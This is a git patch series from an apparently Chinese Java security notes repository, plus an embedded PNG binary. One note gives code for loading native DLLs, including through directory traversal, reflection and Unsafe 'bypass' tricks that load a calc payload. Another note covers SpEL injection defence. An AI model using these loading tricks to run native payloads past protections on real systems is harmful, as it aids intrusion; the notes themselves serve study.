SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别，公开SpEL语言特性和配置选项的子集。 +- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。 + +SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 Java类型引用、构造函数和bean引用；而StandardEvaluationContext是支持全部SpEL语法的。 + +http://rui0.cn/archives/1043 \ No newline at end of file From c8eac49bc4b309dec18aef5f395c6417aa453493 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Dec 2022 16:21:11 +0800 Subject: [PATCH 137/254] =?UTF-8?q?Delete=20java=E5=8A=A0=E8=BD=BD?= =?UTF-8?q?=E9=93=BE=E6=8E=A5=E5=BA=93=E7=9A=84=E6=96=B9=E6=B3=95.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...23\347\232\204\346\226\271\346\263\225.md" | 75 ------------------- 1 file changed, 75 deletions(-) delete mode 100644 "java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" diff --git "a/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" "b/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" deleted file mode 100644 index d797145..0000000 --- "a/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" +++ /dev/null @@ -1,75 +0,0 @@ -# java 加载链接库的方法 - -https://tttang.com/archive/1436/ - -1.System.load - -```java -try { - System.load("D:\\temp\\calc_x64.dll"); -}catch (UnsatisfiedLinkError e){ - e.printStackTrace(); -} -``` - -2.Runtime.getRuntime().load - -```java -Runtime.getRuntime().load("D:\\temp\\calc_x64.dll"); -``` - -3.com.sun.glass.utils.NativeLibLoader.loadLibrary - -```java -com.sun.glass.utils.NativeLibLoader.loadLibrary("\\..\\..\\..\\..\\..\\..\\..\\..\\temp\\calc_x64"); -``` - -有限制 - -1. 存在于jdk\javafx-src.zip!\com\sun\glass\utils\NativeLibLoader.java，在不同的版本的jdk中javafx并不是都存在的。 -2. NativeLibLoader会首先在jdk环境下找文件名，如果需要自定义路径必须使用../的方式进行目录穿越。并且如果是windows的话，只能穿越到JDK所在的盘符的根目录下。举例说明，如果JDK安装在`D:/java/JDK/`下，那么只能穿越到D盘的任意目录下面，比例说穿越到D:/temp/目录下，文件名参数就只能写成**../../../../temp/calc**，文件名还不能跟后缀，不然传入文件名会被变成**calc.dll.dll**。相对而言Linux平台是可以穿越任意目录的。 - -4.反射模拟底层调用 - -- 如果模拟ClassLoader加载就会存在两个方案 - - 模拟ClassLoader的loadLibrary和loadLibrary0两个方案。 -- 如果模拟NativeLibrary就只存在load方法 - -**ClassLoader#loadLibrary** - -```java -try { - Class clazz = Class.forName("java.lang.ClassLoader"); - Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); - method.setAccessible(true); - method.invoke(null, clazz, "D:\\temp\\calc_x64.dll", true); -}catch (Exception e){ - e.printStackTrace(); -} -``` - -**NativeLibrary#load** - -```java -String file = "D:\\temp\\calc_x64.dll"; -Class a = Class.forName("java.lang.ClassLoader$NativeLibrary"); -Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class}); -con.setAccessible(true); -Object obj = con.newInstance(JDKClassLoaderBypass.class,file,true); -Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class); -method.setAccessible(true); -method.invoke(obj, file, false); -``` - -```java -String file = "D:\\temp\\calc_x64.dll"; -Class aClass = Class.forName("sun.misc.Unsafe"); -Constructor declaredConstructor = aClass.getDeclaredConstructor(); -declaredConstructor.setAccessible(true); -Unsafe unsafe = (Unsafe)declaredConstructor.newInstance(); -Object obj = unsafe.allocateInstance(a); -Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class); -method.setAccessible(true); -method.invoke(obj, file, false); -``` - From 26ae3d9a4125b1558d52b3565d7ee059f86ea92f Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Dec 2022 16:21:28 +0800 Subject: [PATCH 138/254] =?UTF-8?q?Delete=20spel=E5=AD=A6=E4=B9=A0?= =?UTF-8?q?=E9=98=B2=E5=BE=A1.md?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- ...5\246\344\271\240\351\230\262\345\276\241.md" | 16 ---------------- 1 file changed, 16 deletions(-) delete mode 100644 "spel\345\255\246\344\271\240\351\230\262\345\276\241.md" diff --git "a/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" "b/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" deleted file mode 100644 index 7eda739..0000000 --- "a/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" +++ /dev/null @@ -1,16 +0,0 @@ -# spel防御 - -最直接的防御方法就是使用`SimpleEvaluationContext`替换`StandardEvaluationContext`。 - -官方文档：[SimpleEvaluationContext的API官方文档](https://links.jianshu.com/go?to=https%3A%2F%2Fdocs.spring.io%2Fspring%2Fdocs%2F5.0.6.RELEASE%2Fjavadoc-api%2Forg%2Fspringframework%2Fexpression%2Fspel%2Fsupport%2FSimpleEvaluationContext.html) - -![image-20220325230922109](img/image-20220325230922109.png) - -SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext： - -- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别，公开SpEL语言特性和配置选项的子集。 -- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。 - -SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 Java类型引用、构造函数和bean引用；而StandardEvaluationContext是支持全部SpEL语法的。 - -http://rui0.cn/archives/1043 \ No newline at end of file From 07b22ad376e71dcefc1f78afed88ee889f3439d2 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Dec 2022 16:21:51 +0800 Subject: [PATCH 139/254] Add files via upload --- ...23\347\232\204\346\226\271\346\263\225.md" | 75 +++++++++++++++++++ ...46\344\271\240\351\230\262\345\276\241.md" | 16 ++++ 2 files changed, 91 insertions(+) create mode 100644 "java\346\227\245\345\270\270/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" create mode 100644 "java\346\227\245\345\270\270/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" diff --git "a/java\346\227\245\345\270\270/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" "b/java\346\227\245\345\270\270/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" new file mode 100644 index 0000000..d797145 --- /dev/null +++ "b/java\346\227\245\345\270\270/java\345\212\240\350\275\275\351\223\276\346\216\245\345\272\223\347\232\204\346\226\271\346\263\225.md" @@ -0,0 +1,75 @@ +# java 加载链接库的方法 + +https://tttang.com/archive/1436/ + +1.System.load + +```java +try { + System.load("D:\\temp\\calc_x64.dll"); +}catch (UnsatisfiedLinkError e){ + e.printStackTrace(); +} +``` + +2.Runtime.getRuntime().load + +```java +Runtime.getRuntime().load("D:\\temp\\calc_x64.dll"); +``` + +3.com.sun.glass.utils.NativeLibLoader.loadLibrary + +```java +com.sun.glass.utils.NativeLibLoader.loadLibrary("\\..\\..\\..\\..\\..\\..\\..\\..\\temp\\calc_x64"); +``` + +有限制 + +1. 存在于jdk\javafx-src.zip!\com\sun\glass\utils\NativeLibLoader.java，在不同的版本的jdk中javafx并不是都存在的。 +2. NativeLibLoader会首先在jdk环境下找文件名，如果需要自定义路径必须使用../的方式进行目录穿越。并且如果是windows的话，只能穿越到JDK所在的盘符的根目录下。举例说明，如果JDK安装在`D:/java/JDK/`下，那么只能穿越到D盘的任意目录下面，比例说穿越到D:/temp/目录下，文件名参数就只能写成**../../../../temp/calc**，文件名还不能跟后缀，不然传入文件名会被变成**calc.dll.dll**。相对而言Linux平台是可以穿越任意目录的。 + +4.反射模拟底层调用 + +- 如果模拟ClassLoader加载就会存在两个方案 + - 模拟ClassLoader的loadLibrary和loadLibrary0两个方案。 +- 如果模拟NativeLibrary就只存在load方法 + +**ClassLoader#loadLibrary** + +```java +try { + Class clazz = Class.forName("java.lang.ClassLoader"); + Method method = clazz.getDeclaredMethod("loadLibrary", Class.class, String.class, boolean.class); + method.setAccessible(true); + method.invoke(null, clazz, "D:\\temp\\calc_x64.dll", true); +}catch (Exception e){ + e.printStackTrace(); +} +``` + +**NativeLibrary#load** + +```java +String file = "D:\\temp\\calc_x64.dll"; +Class a = Class.forName("java.lang.ClassLoader$NativeLibrary"); +Constructor con = a.getDeclaredConstructor(new Class[]{Class.class,String.class,boolean.class}); +con.setAccessible(true); +Object obj = con.newInstance(JDKClassLoaderBypass.class,file,true); +Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class); +method.setAccessible(true); +method.invoke(obj, file, false); +``` + +```java +String file = "D:\\temp\\calc_x64.dll"; +Class aClass = Class.forName("sun.misc.Unsafe"); +Constructor declaredConstructor = aClass.getDeclaredConstructor(); +declaredConstructor.setAccessible(true); +Unsafe unsafe = (Unsafe)declaredConstructor.newInstance(); +Object obj = unsafe.allocateInstance(a); +Method method = obj.getClass().getDeclaredMethod("load", String.class, boolean.class); +method.setAccessible(true); +method.invoke(obj, file, false); +``` + diff --git "a/java\346\227\245\345\270\270/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" "b/java\346\227\245\345\270\270/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" new file mode 100644 index 0000000..7eda739 --- /dev/null +++ "b/java\346\227\245\345\270\270/spel\345\255\246\344\271\240\351\230\262\345\276\241.md" @@ -0,0 +1,16 @@ +# spel防御 + +最直接的防御方法就是使用`SimpleEvaluationContext`替换`StandardEvaluationContext`。 + +官方文档：[SimpleEvaluationContext的API官方文档](https://links.jianshu.com/go?to=https%3A%2F%2Fdocs.spring.io%2Fspring%2Fdocs%2F5.0.6.RELEASE%2Fjavadoc-api%2Forg%2Fspringframework%2Fexpression%2Fspel%2Fsupport%2FSimpleEvaluationContext.html) + +![image-20220325230922109](img/image-20220325230922109.png) + +SimpleEvaluationContext和StandardEvaluationContext是SpEL提供的两个EvaluationContext： + +- SimpleEvaluationContext - 针对不需要SpEL语言语法的全部范围并且应该受到有意限制的表达式类别，公开SpEL语言特性和配置选项的子集。 +- StandardEvaluationContext - 公开全套SpEL语言功能和配置选项。您可以使用它来指定默认的根对象并配置每个可用的评估相关策略。 + +SimpleEvaluationContext旨在仅支持SpEL语言语法的一个子集，不包括 Java类型引用、构造函数和bean引用；而StandardEvaluationContext是支持全部SpEL语法的。 + +http://rui0.cn/archives/1043 \ No newline at end of file From d37127e0d84b1817af929b23a80b7025c0a01920 Mon Sep 17 00:00:00 2001 From: Firebasky <63966847+Firebasky@users.noreply.github.com> Date: Sat, 17 Dec 2022 16:22:21 +0800 Subject: [PATCH 140/254] Add files via upload --- .../img/image-20220325230922109.png" | Bin 0 -> 14995 bytes 1 file changed, 0 insertions(+), 0 deletions(-) create mode 100644 "java\346\227\245\345\270\270/img/image-20220325230922109.png" diff --git "a/java\346\227\245\345\270\270/img/image-20220325230922109.png" "b/java\346\227\245\345\270\270/img/image-20220325230922109.png" new file mode 100644 index 0000000000000000000000000000000000000000..c89682dbeb77ed09f40b9e1aba276300df1066bd GIT binary patch literal 14995 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 